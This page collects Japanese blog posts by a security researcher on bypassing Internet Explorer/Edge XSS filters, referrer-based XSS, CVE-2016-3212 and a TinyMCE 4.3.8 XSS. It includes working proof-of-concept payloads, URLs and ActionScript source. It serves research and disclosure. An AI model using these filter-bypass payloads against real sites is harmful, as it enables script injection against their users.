ラベル IE の投稿を表示しています。 すべての投稿を表示
ラベル IE の投稿を表示しています。 すべての投稿を表示

2017/05/22

ブラウザのXSS保護機能をバイパスする(13)

前回の記事、間違えて14回目と書きましたが、13回目でした。
飛ばしてしまった13回目を今からここに書いて埋めることにします!

今日はIEの知られざるHTMLタグについて紹介しようと思います。このタグを利用すると、限られた条件でフィルターのバイパスにも利用できます。

今回利用するのは、<?PXML>というタグです。
皆さん、<?PXML>タグをご存知ですか?僕はよく知りません!
このタグの意味は全く分からなくて、いくら調べても全く出てこないほどで、誰か一体何なのか知っている人がいたら教えてほしいくらいですが、とりあえずここに自分が知っている限りのことを書いていきます。

まず、自分はこのタグを印刷プレビューの脆弱性を探している時に発見しました。様々なページを印刷プレビューして、攻撃可能なプレビュー結果が出ないかみていたときのことです。XMLのパースエラーを表示するページを印刷プレビューしたときに生成されるHTMLに奇妙なタグが含まれていることに気が付きました。
XMLのパースエラーのページは、古いドキュメントモードのページから、不正なXMLのページをフレームに埋め込むと現れます。こんなかんじです:

https://l0.cm/bypass/ie_pxml_printpreview.html


エラー情報を表示する程度のページなら、もっと普通の条件で出てきてもいい気がしますが、とりあえずこれで確実に出ます。
さて、このページを印刷プレビューしてみましょう。プレビューしたら、プレビューした状態をそのままに、%Temp%\Low を開いて、プレビューされたときに生成されるHTMLを確認します。こんなかんじの.htmファイルが発見できるはずです:



2つありますが、片方はトップのフレーム、もう一方はフレームの中のHTMLでしょう。フレームの中のHTMLの方をみてみましょう。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><?PXML />
<HTML:HTML
__IE_DisplayURL="https://l0.cm/bypass/ie_pxml_printpreview.xml"><HTML:HEAD><HTML:META
content="IE=5.0000" http-equiv="X-UA-Compatible">
<HTML:META content="text/html; charset=unicode" http-equiv=Content-Type>
<HTML:BASE HREF="https://l0.cm/bypass/ie_pxml_printpreview.xml">
<HTML:STYLE> HTML { font-family : "Times New Roman" } </HTML:STYLE></HTML:HEAD>
<HTML:BODY>
<HTML:TABLE width=400>
  <HTML:P style="FONT: 13pt/15pt verdana">XML ページを表示できません
  <HTML:P style="FONT: 8pt/11pt verdana">スタイルシートを使用した XML
  入力は表示できません。エラーを訂正してください。 <HTML:A href="javascript:location.reload()"
  target=_self>[更新]</HTML:A> ボタンをクリックするか、または後でやり直してください。
  <HTML:HR>
  <HTML:P style="FONT: bold 8pt/11pt verdana">ドキュメントの最上位では無効です。リソース
  'https://l0.cm/bypass/ie_pxml_printpreview.xml' の実行エラーです。ライン 1、位置 1 </HTML:P><HTML:PRE style="FONT-SIZE: 10pt; FONT-VARIANT: normal; FONT-WEIGHT: normal; FONT-STYLE: normal; LINE-HEIGHT: 12pt"><HTML:FONT color=blue>AAAAA
^</HTML:FONT></HTML:PRE></HTML:P>
  <HTML:TBODY></HTML:TBODY></HTML:TABLE></HTML:BODY></HTML:HTML>
出た!!何なんでしょう?PXMLのP = Preview のPとかなんでしょうか?
<?PXML>のほかに、HTML:というプレフィックスがついたタグも確認でき、PXMLがあると、HTML:というプレフィックスがついたタグをHTMLタグとして認識させる効果があるようにみえます。

このタグをIEで普通に利用できるか確認してみます。次のように、html:というプレフィックスがついたHTMLタグが利用できるかみてみましょう。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E
<?PXML><html:h1>Hello PXML!</html:h1>
動かない? ドキュメントモードを下げてみましょう。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9



今度こそh1タグが有効になりましたね!どうやらこのタグはIE9以下のドキュメントモードで機能するようです。

このタグはページの先頭以外でも使うことができるようです。ただし、どうやら、<?PXML>よりも前に<が3つ以上出現した段階で機能しなくなるという制約があるようです。

以下のように、<が2つ出現した段階ではまだ動きます。
https://vulnerabledoma.in/bypass/text?q=%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9
<< <?PXML><html:h1>Hello PXML!</html:h1>
しかし、<が3つ出現すると動作しなくなります。
https://vulnerabledoma.in/bypass/text?q=%3C%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9
<<< <?PXML><html:h1>Hello PXML!</html:h1>
不思議な動作ですね…。ここまでがこのタグに関してわかっていることです。

わからないことだらけですが、とにかく、これをXSSフィルターのバイパスに利用してみましょう。方法は簡単で、<?PXML>を書いて、あとはhtml:プレフィックスのついたスクリプトタグを書くだけです。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9
<?PXML><html:script>alert(1)</html:script>
プレフィックスのおかげで、<sc{r}ipt.*?>という遮断条件をバイパスできます。

このバイパスを利用できる場合の条件をまとめると以下のようになります。
  1. 単純な反射型XSSがある
  2. 注入点までに3つ以上の<がでてこない
  3. そのページのドキュメントモードが9以下に設定されているか、フレームに埋め込むなどで低いドキュメントモードを設定できる
条件は厳しいですが、完全な先頭でなくてもいいという点で、先頭必須のバイパスよりも優れています。

以上、IEの知られざるHTMLタグとそれを使ったバイパスについて紹介しました。
<?PXML>の詳細について知っている人がいたらぜひコメントやTwitter等で教えてください!それではまた!

ブラウザのXSS保護機能をバイパスする(14)

前回、XSSAuditorのバイパスのチートシートを作ったという記事を書きましたが、さきほど、IE/EdgeのXSSフィルターのバイパスも公開しました。

https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#ieedge%E3%81%AExss%E3%83%95%E3%82%A3%E3%83%AB%E3%82%BF%E3%83%BC

この公開に合わせて、今日は強力なIE/EdgeのXSSフィルターのバイパスを1つ紹介しようと思います。

このバイパスはPOST経由以外の全てのReflected XSSで使えます。1年以上前に以下のようなツイートをしましたが、今から紹介するのがこのとき発見したベクターです。
ツイートした時点ではPOSTで使えないことに気付いていなかったので、all contextsは言い過ぎでしたが、いずれにしても強力なベクターだと思います。

まずはPoCからみてみましょう!普通にテキスト部でXSSする場合と、属性だけが記述できるケースのXSSで例を示します。IE/Edgeでアクセスすると、スクリプトが動作することを確認できるはずです。

https://l0.cm/bypass/ie_hz_text.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=<script/警/-alert(1)<\/script/警"
</script>

属性値のみでXSSする場合はこちら:
https://l0.cm/bypass/ie_hz_attribute.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/attribute?q=\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4/-alert(1)//"
</script>
なぜ動作したかは、IEがどんなクエリ文字列を送信しているかに注目するとみえてきます。

IEはナビゲーション時、ナビゲーション前のページに設定された文字コードでクエリ文字列をエンコードしてリクエストを送信します。
例えば、次のようなページから、「あ」という文字列を送信しようとするとき、「あ」はHZ-GB-2312というエンコーディングでエンコードされて送信されます。

https://l0.cm/bypass/ie_hz_example.html
<meta charset=utf-8>
<script>
  document.charset="hz-gb-2312";
  location="https://vulnerabledoma.in/bypass/text?q=あa";
</script>
Fiddlerを見ても、以下のように、UTF-8の「あ」(0xE38182) でなく、HZ-GB-2312の「あ」である~{$"~}が送信されていることがわかります。


この動作を踏まえて、バイパスが起きたケースをもう一度見てみましょう。テキスト部のバイパスでは、<script/警/-alert(1)</script/警という文字列をリダイレクト先に与えています。「警」の字はHZ-GB-2312において、~{>/~}で表されます。したがって、ここでは<script/~{>/~}/-alert(1)</script/~{>/という文字列がクエリを介して送信されており、実際にはスクリプトタグを作成するようなバイト列が送信されていたということがわかります。

XSSフィルターは普通なら<sc{r}ipt.*?>という遮断条件に従ってスクリプトタグに反応しますが、ここではなぜか反応しません。これはおそらく、XSSフィルターが、実際に送信されるリクエストではなく、<script/警という文字列を遮断条件と誤って照らし合わせているためではないかと思います。

属性の場合も同様に、\u5E44\u9571\u76F9\u8E9E\u5C63\u9CA5\u86AA\u978D\u85A4に反応文字列である"onmouseover=を隠しています。このように、実際に送信されるリクエストと、エンコードされた文字列の不一致を起こすことで、XSSフィルターをバイパスすることができます!

その他のエンコーディングでも、同じように不一致を起こせばバイパスが可能です。

ISO-2022-JPを使った例がこちら:
https://l0.cm/bypass/ie_iso2022jp_text.html
https://l0.cm/bypass/ie_iso2022jp_attribute.html

x-chinese-cnsという文字コードを使った例がこちら:
https://l0.cm/bypass/ie_x-chinese-cns_text.html
https://l0.cm/bypass/ie_x-chinese-cns_attribute.html

他にもいろいろな文字コードのバリエーションが考えられるんではないかと思います。

このバイパスの発見当時は、バイパスはただのバグだとしても、特別な条件もなしに様々なコンテキストで使えるこれは修正を待ってから公開しようと考えていましたが、報告後、1年以上経っても変更が加えられなかったあたり、Microsoftはバイパスをそれほど問題にはしていないみたいです。いずれにしても、XSSフィルターはXSSに対する完全な防御ではなく、サイト側の根本的なXSS対策は必須であるということは常に変わりません。実際のバイパスを通して、その思いを強めてもらえれば。それでは!

2017/05/07

Browser's XSS Filter Bypass Cheat Sheet

ブラウザのXSSフィルターのバイパスをまとめたページを作りました。

こちらです:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet

現在のところ、Chrome/Safariのバイパスのみ掲載しています。そのうち、IE/Edgeも掲載するつもりです。

このページを作った理由は、Shibuya.XSS techtalk #9 というセキュリティの勉強会の時に、Firefoxのバグを発見しまくっていることで有名な西村さんが、「XSSフィルター、バイパスが発見されても、気付いたらいつの間にか使えなくなっていたりする。使えるものをまとめたXSSフィルターのバイパスのチートシートみたいなのがあったら便利」というようなことを言っていて、じゃあ僕が4月中に作りますと宣言してしまったからです。今は5月ということは置いておいて、とにかく作りました。

脆弱性検査にあたる人などは、XSSをみつけても、お客さんに「XSSフィルターが止めているから大丈夫じゃないか」などと主張されることがあるかもしれません。また、バイパスできるかどうかがわからないと、実際にどこまで悪用できるかの評価ができない場合もあるかと思います。バイパスまでできているPoCを示せば、説得力を持って攻撃可能なことを証明することができるでしょう。また、ブラウザのバグを発見したいというタイプの人は、これらを参考にしながら、新たなバイパスの発見に挑戦してもよいでしょう。バイパスを発見する目的以外でも、なぜバイパスが起きたかという部分には、その他の場面での攻撃の発想を養ううえでもよい資料となるのではないかと思います。

もともと自分用のバイパスのメモがあったので、これらをまとめるのは、そんなに難しいことではありませんでした。しかしながら、まとめる過程で、新たな可能性に気付いたりして、その検証に少し時間がかかってしまいました。

中でも同一ドメインのリソースを使ってバイパスする手法は、おそらくパブリックでこの攻撃の可能性についてほとんど考察されたことがない、目新しいものではないかと思います。僕も今回改めて考えてみて、いろいろなフレームワーク・ライブラリで攻撃が可能になるかもしれないということに気付きました。

簡単に手法を説明すると、Chromeは、クエリ文字列を持たない同一ドメインのリソースのロードをブロックしません。これは誤検知とのバランスを考えて作られた仕様だと思います。この動作を利用して、同一ドメインのリソースを攻撃用のガジェットとして利用することで、フィルターをバイパスして、任意のスクリプトを実行できてしまうというものです。詳しくはそれぞれの手法をみてみてください。

それでは、どうぞご利用ください。

2016/12/07

ブラウザのXSS保護機能をバイパスする(11)

勝手な使命感に駆られて書く脆弱性"&'<<>\ Advent Calendar 2016 7日目の記事、3回目の登場です。

今日も相変わらずXSSフィルターをバイパスします。
今回は先月(2016年11月)の更新で塞がれたIEのXSSフィルターのバイパスを簡単に紹介します。

=================================
追記:
Windows 8.1だとまだ動くのを確認しました。
どうも、塞がれたのはWindows 10だけみたいです。ご活用ください!
=================================

前回の記事に引き続き、今回も文字列リテラルで起こるバイパスです。
前回は任意のスクリプト実行とまではいかない部分的なバイパスでしたが、今回のは完全かつとてもシンプルに空いていたバイパスです。こちらです。

https://vulnerabledoma.in/xss_js?q="i\u006E+alert(1)// (X-XSS-Protection:0 にして試すにはこちら)
<script>var q=""i\u006E alert(1)//"</script>
inをUnicodeエスケープして、i\u006Eと表記することでバイパスできていました。

モダンなブラウザでは、予約語をUnicodeエスケープすることは禁止されていますが、 IEでは禁止されておらず、inと同じ扱いになります。

この件は、@Jxck_さん主催の次世代Webカンファレンスに参加中、一週間後に迫るCODE BLUEの資料を、最初に作ったものが諸事情で公開できなくなってしまっため、一からいそいそと作っていたとき、突然気付いたものでした。その時のツイートです:

XSSフィルターの正規表現を眺めていたところ、他の文字列リテラル中で起きる禁止文字列はUnicodeエスケープが一緒に記述されているのに対し、inだけUnicodeエスケープが無いことに気付き、試したところすんなり動いたというかんじでした。

ちなみに、MicrosoftはこれまでXSSフィルターのバイパスを脆弱性という扱いで修正していましたが、最近方針の変更があり、今後はセキュリティ修正扱いにしないことにしたとのことで、11月の更新プログラムを適用するとバイパスは塞がれるものの、アドバイザリの中ではこの変更については説明されていません。なお、謝辞には僕の名前がありますが、これら(CVE-2016-7227 と CVE-2016-7239)はバイパスとは別のバグです。こちらもまた機会を改めて紹介したいと思います。

バイパスは脆弱性ではないというのはその通りだと思いますし、もともとそう考えていたので、いちいち許可をとらずにブログに書いていましたが、今後、報告中のものも含め公開してもよいという回答を正式に頂いたので、また遠慮なくブログに書かせてもらいます。

以上、脆弱性"&'<<>\ Advent Calendar 2016 7日目の記事でした。
明日も書く人が決まっていないみたいなので、どなたか書いてください!

2016/12/05

ブラウザのXSS保護機能をバイパスする(10)

脆弱性"&'<<>\ Advent Calendar 2016 の5日目の記事です!

今朝、ブラウザで動作を試しながらECMA-262の仕様を読んでいたところ、IEの奇妙な動作を発見し、それがXSSフィルターのバイパスに使えることがわかりました。
完全なバイパスではありませんが、興味深いものなので共有します。

XSSフィルターは、単純な反射型のXSSに加えて、文字列リテラル中で起こるXSSも防止しようとします。自分の過去の資料で、文字列リテラルの文脈で遮断される文字列の一部を紹介していますので、以下に貼り付けます。



今回注目したいのがこの中のvalueOf=です。この資料をまとめたとき、valueOf=をなぜ遮断する必要があるのかよくわかりませんでした。

確かに、あらかじめ定義された関数であれば、次のような形式で、フィルターが反応する()を使わずに関数呼び出しができます。

https://vulnerabledoma.in/xss_js?q="%3BvalueOf=alert%3B~window//&xss=0
";valueOf=alert;~window//
ただ、このくらい不自由な呼び出しは、以下のような、イベントへの代入が遮断されないことから、許容されていると考えていました。

https://vulnerabledoma.in/xss_js?q="%3Bonload=alert//
";onload=alert//
ちなみに、このvalueOf=は、Eduardoさん・Davidさん発見の以下のベクタとは無関係です。

https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf#page=14
"+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}//
ご覧の通り、お二人のベクタは=を使っていません。自分の資料の中には書いていないのですが、これらは、";{valueOf:や";{toString:といった文字列を遮断する別の正規表現が存在しており、そっちで遮断されます。

試行錯誤した結果、valueOf=の場合は、イベントへの代入の場合よりも呼び出しが許される関数が多く、例えば、特定要素へのclickなどのメソッド呼び出しがIE8以下のドキュメントモードのページに対してできるようなので、このあたりの手法を止めたいのかも、という風に勝手に解釈しました。(本当のところを知っている人はぜひ教えてください!)

以下のページにIEでアクセスして、"go"ボタンを押すと、"important action"というボタンがvalueOf=opener.button.clickを経由してクリックされるのが確認できます。

https://l0.cm/xssfilter_bypass/valueOf.html

このとき、valueOf=は遮断して、なぜtoString=は遮断しないのだろうと思ったのですが、toStringに変えて試してみると動きませんでした。普通なら動くべきだと思いますが、IEならそういうおかしなことも起こるだろうと考えて今日まであまり気にしないできました。

さて、ここから、今回のバイパスの話を始めます。
今朝、IEでも、toStringへの代入からclickなどのメソッド呼び出しができることを発見しました。

なんと、IEはtoString=では代入に失敗するのに、var toString=だと成功するようなのです。こうすると、alertが呼ばれます。
var toString=alert;~window

これを利用して、valueOfと同じ要領でclickを呼び出そうとすると、うまくいきました。
以下にIEでアクセスして、goボタンを押すと、 "important action"というボタンがvar toString=opener.button.clickを経由してクリックされるのが確認できます。

https://l0.cm/xssfilter_bypass/toString.html

ほとんど使う場面はないかと思いますが、せっかくtoString=の面白い動作に気付いたので、部分的でもフィルターのバイパスに繋がることを証明してみました。valueOf=を止めている理由の推測が正しければ、こちらも本来なら遮断したい動作ではないかと思います。

以上です!

脆弱性"&'<<>\ Advent Calendar 2016、明日は…、まだ登録されてないっぽいです!誰か書いてください!

2016/10/07

Anniversary Update後のReferrerを使ったXSS

English version is here: http://mksben.l0.cm/2016/10/xss-via-referrer.html

今日はXSSのテクニックを紹介する簡単なポストです!

Windows 10のAnniversary UpdateからIE/Edgeの細かい動作が変わっているようです。
XSSと関係の深い動作もいくつか変更されています。その中の1つに、リファラ文字列に含まれる一部の文字が常にエンコードされるようになった動作があります。以下に具体的に示します。

次のような、リファラ文字列を書き出すページがあるとします。

https://vulnerabledoma.in/xss_referrer

以前までのIE/Edgeでは、過去のブログでも取り上げたように、次のようにスクリプト文字列を含んだURLからのリファラを送信することで、XSSが可能でした。

https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

ところがAnniversary Updateを適用したEdgeやIEで確認すると、"<>といったXSSのカギとなる文字列が次のようにエンコードされてしまいます。
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
このせいで、単純に書き出すようなケースでXSSができなくなってしまいました。

今のところ、現役のWindows 8.1や7のIE11はリファラ文字列をエンコードしないので、XSSが可能なことの証明には困らないのですが、やっぱりWin10でもリファラでXSSしたいですよね!

今日は、そんな人達に朗報です。
Win10でリファラ経由でXSSする方法を発見したので、ご紹介したいと思います。

説明は一言で終わります。FlashのnavigateToURL()を使ってナビゲーションすればまだRefererヘッダに"<>がエンコードされずに入ってくれます。

以下にPoCを置きました。Anniversary Update適用済みのWin10のIE/Edgeでアクセスしてみてください。

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

ActionScriptのソースコードはこんなかんじです:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
  var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
  navigateToURL(url, "_self");
  }
 }
}
ただ、残念ながら、アクセスしてわかる通り、この方法でうまくいくのは Refererリクエストヘッダを書き出す場合のみで、JavaScriptのdocument.referrerプロパティはFlash経由のナビゲーションの場合はなぜか空になってしまうようです。残念。

ちなみに、Adobe Readerの submitForm() というJavaScript API経由でもRefererリクエストヘッダにタグ文字を含めることができました。
以下にPoCがあります。Adobe ReaderプラグインがインストールされたWin10のIE11で動作を確認済みです。

https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

どうも、プラグイン経由のリクエストが考慮されていないみたいですね。


以上、Anniversary Update以後でも使えるReferrer文字列のXSS手法の紹介でした!
今月はもう1つか2つブログを書くつもりです。

2016/07/15

CVE-2016-3212: XSSフィルターの^への置換動作を利用したXSS

English version: http://mksben.l0.cm/2016/07/xxn-caret.html
-------------------------------------------------------

以前、CODE BLUEでXSSフィルターを利用したXSSの問題について発表しましたが、同様の問題が6月のパッチでCVE-2016-3212として修正されました。この記事では詳細を紹介します。

以前公開した資料にも書いたように、以前までは、XSSフィルターの遮断規則を攻撃とは無関係の文脈に適用させ、.を#に置換させることで、<script>のsrc値や<link>のhref値を変更することによる攻撃が可能でした。



2015年12月、Microsoftはこの問題に対応するために、この遮断規則のみ、#の代わりに^に置換するよう動作を変更しました。これにより確かに、上で示したような攻撃は防げるようになりました。ところが新たな問題を生んでしまいました。この動作変更から数か月後に、実際のアプリケーションで攻撃できることを確認することになります。
$3133.7という特徴的な金額からもわかるように、これはGoogleの脆弱性報奨金制度を通して得た報酬です。GoogleはほとんどのサービスでレスポンスヘッダにX-XSS-Protection: 1;mode=blockを指定していましたが、一部つけていないページがありました。これに気付いたからには、XSSフィルターを利用しない手はありません!XSSフィルターによってページの一部分を変更させることでXSSが起き得る箇所がないか、じっくりみてみました。その結果、*.google.com のドメインに設置されたJavadocが吐くHTMLの1か所を変更したとき、XSSが起きることを発見しました!

以下にそのページのおおよそのコピーがあります。
どこかの.が^に置換されたとき、XSSが生まれるのがわかるでしょうか?

http://vulnerabledoma.in/xxn/xss_javadoc.html


答えは以下の黄色の部分にあるドットです。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
スクリプトタグで長々とやっていることは、location.search(URLの?以降)から受けとった文字列が、フレームにロードしても安全なURLかどうかの検証です。
例えば、XSSが可能な以下のようなURLはロードが禁止されます。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

しかしながら、黄色の部分の.が^に置き換わるとどうなるでしょう?

実際に動かしてみてみましょう。以下のような文字列を与えれば、無理やりページの中身を遮断規則にマッチさせ、.を置換することができます。


2016年6月のパッチをあてる前のIE/Edgeを使って以下のURLを確認してみてください。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

targetPage.indexOf()の部分の.が^に置換され、安全なURLかどうかの検証部分のコードが実行途中でエラーとなることで、URLに与えたjavascript:のURLが実行されたはずです。

既にパッチを適用して再現できない人のために、該当部分を^に置換済みのページを用意しました。同様の動作を確認できます。

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

#への置換との決定的な違いは、#はスクリプト内で演算子ではないため、タグ内の.が#に置換されても構文が壊れるだけだったのに対し、^はビットごとのXOR演算子であり、例えば、a.b;がa^b;になったとしても構文は正しいので、少なくともそこまでは実行されるという点です。このせいで、targetPage変数に未検証の危険な値が入ったまま例外を出し、別の関数でこの変数を利用した結果、XSSが起きたという訳です。



もちろん、XSSが可能だったのはGoogleに限ったことではなく、同バージョンの吐くJavadocのHTMLをX-XSS-Protectionの指定なしに設置しているサイトすべてでXSSが可能でした。

2016年6月の修正後は、例え明示的にヘッダで指示されていなくても、.への反応時には1; mode=blockの動作が強制されるようになりました。これでひとまずは.を置換することによるXSSは起きなくなりました。

^に置換することで回避しようとしたときは唖然としましたが、ひとまずこれで落ち着きました。

また、直近のパッチ(2016年7月)で、その他、CODE BLUEの発表以前に指摘したすべての問題についても改善が行われたようです。この辺りの問題については記事を改めて近いうちに書きます。

2016/04/16

TinyMCE 4.3.9で修正されたXSS

2月頃、リッチテキストエディタの TinyMCE のXSS脆弱性を報告しました。
特にセキュリティの修正をしたといったアナウンスはありませんが、数日前に公開された4.3.9でこの問題が修正されています。Twitterのプロフィールにも、「World's #1 most popular open source #WYSIWYG editor」 とあるくらい、世界的にも非常によく使われているリッチテキストエディタのようですので、更新を促すためにこの記事を書きます。

XSS脆弱性は 4.3.8 以下のバージョンにあります。
僕の知る限りでは、TinyMCEのPreview Plugin機能を使っていなければ影響を受けません。
この機能を呼び出さないようにするか、4.3.9以上に更新してください。

これ以下は、技術的な説明になります。この脆弱性の発生原因は、技術的にも少し面白いです。

発火する場所は、エスケープしていない文字列をdocument.write()しているだけなんですが、入り込む原因が特殊です。

ここで脆弱なHTMLを組立てて、
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L31
headHtml += '<base href="' + editor.documentBaseURI.getURI() + '">';
ここでwrite()して発火しています。
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L82
doc.write(previewHtml);
書き出されるURLは以下のdocumentBaseURL変数から設定されます。
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/classes/EditorManager.js#L164-174
documentBaseURL = document.location.href;
// Check if the URL is a document based format like: http://site/dir/file and file:///
// leave other formats like applewebdata://... intact
if (/^[^:]+:\/\/\/?[^\/]+\//.test(documentBaseURL)) {
documentBaseURL = documentBaseURL.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(documentBaseURL)) {
documentBaseURL += '/';
}
}
location.hrefからURL文字列を受け取り、replace()の部分の正規表現で必要な文字列だけを切り取っています。その結果、返ってくることを期待している文字列は、少なくともパス部までの文字列です。例えば「https://example.com/AAA/BBB/CCC?DDD#EEE」というURL文字列からは、「https://example.com/AAA/BBB/」が返ってきます。以下でテストできます。

https://jsfiddle.net/nsuqthb5/
<script>
baseUrl="https://example.com/AAA/BBB/CCC?DDD#EEE";
if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(baseUrl)) {
baseUrl += '/';
}
}
alert(baseUrl);
</script>
この、期待した文字列ですら、 document.write('<base href="'+ baseUrl +'">')とかって書き出そうとすることは危ういのですが、モダンなブラウザでは、location.hrefプロパティで取得されるパス部の"は%22にエンコードされるので、控えめに言えばギリギリセーフです。(Safari 5.xとかだとアウトです。)
古いブラウザで脆弱になることは受け入れるとしても、この正規表現の切り取り方では、モダンなブラウザでも期待しない文字列を呼び込んでしまいます。次のようなURLが与えられた場合です。

https://jsfiddle.net/c2L6guLf/
<script>
baseUrl="https://example.com/xxx#\u2028\"><[XSS_CODE_HERE]>/";
if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(baseUrl)) {
baseUrl += '/';
}
}
alert(baseUrl);
</script>
今度は、#以降の、XSS_CODE_HEREまで含んだURLがアラートされるはずです。
ポイントは黄色でマークした \u2028の部分です。U+2028/U+2029は JS中で改行と同じ扱いになるという話を以前ブログで取り上げましたが、この扱いが今回の正規表現と絡んできます。replace(/[\?#].*$/, '')は、URL文字列の最後まで、改行が含まれないことを前提として、?か#以降の文字列を全て取り除こうとします。ところが、U+2028が?か#以降に入ってくると、U+2028が.にマッチしないため、この正規表現による削除が行われなくなってしまうのです。その場合、返ってくる文字列は何も置換が行われていないlocation.hrefそのものになってしまいます。

実際にXSSを再現させてみます。
baseタグは、エディタの内容をPreviewする機能を実行した時に作成されます。
以下にIE/Edgeでアクセスし、View →Preview とボタンを押してみてください。

http://vulnerabledoma.in/tinymce/xss_preview_4.3.8.html#"><img src=x onerror=alert(document.domain)>
/

うまくいけば以下のようにみえるはずです。



なぜ、IE/Edge限定なのかというと、FirefoxやSafariはURL中のU+2028文字をエンコードしてしまうため、正規表現を騙すことができないからです。また、Chromeはbaseタグから抜けて、スクリプトの実行も可能なのですが、IE/Edge以外はallow-scriptsによりスクリプトの実行だけが許可されたsandbox属性付きのiframeの中でプレビューを表示するようになっているため、少なくともTinyMCEを設置したオリジンでのスクリプト実行には繋がらないようになっています。以下の箇所でIE/Edgeとそれ以外で表示方法を変えているのがわかります。

https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L76-86

よって、Chromeの場合では、厳密には影響がないとは言えないものの、実行されるコンテキストがサンドボックス内のため、プレビューの偽装かプレビューした情報の奪取程度の限定的なものになります。

修正は以下の部分で行われました。
https://github.com/tinymce/tinymce/commit/1483e4fd47ab58b5fc1015f82253c90caaeedc44
if (loc.protocol.indexOf('http') !== 0 && loc.protocol !== 'file:') {
baseUrl = loc.href;
} else {
baseUrl = loc.protocol + '//' + loc.host + loc.pathname;
}

location.protocolにhttpという文字列を含まない、かつ、file:でない場合のみ、location.hrefをそのまま使い、それ以外は、location.protocol とlocation.hostとlocation.pathnameを連結したものを使うようになりました。心許ないかんじがしますが、少なくとも僕にはこれを破ってXSSすることができなかったので、とりあえず、問題なさそうと伝えました。(もっとも、Safari 5.x などではエンコードされていない"をlocation.pathnameに含むことができるので、相変わらず脆弱です。)

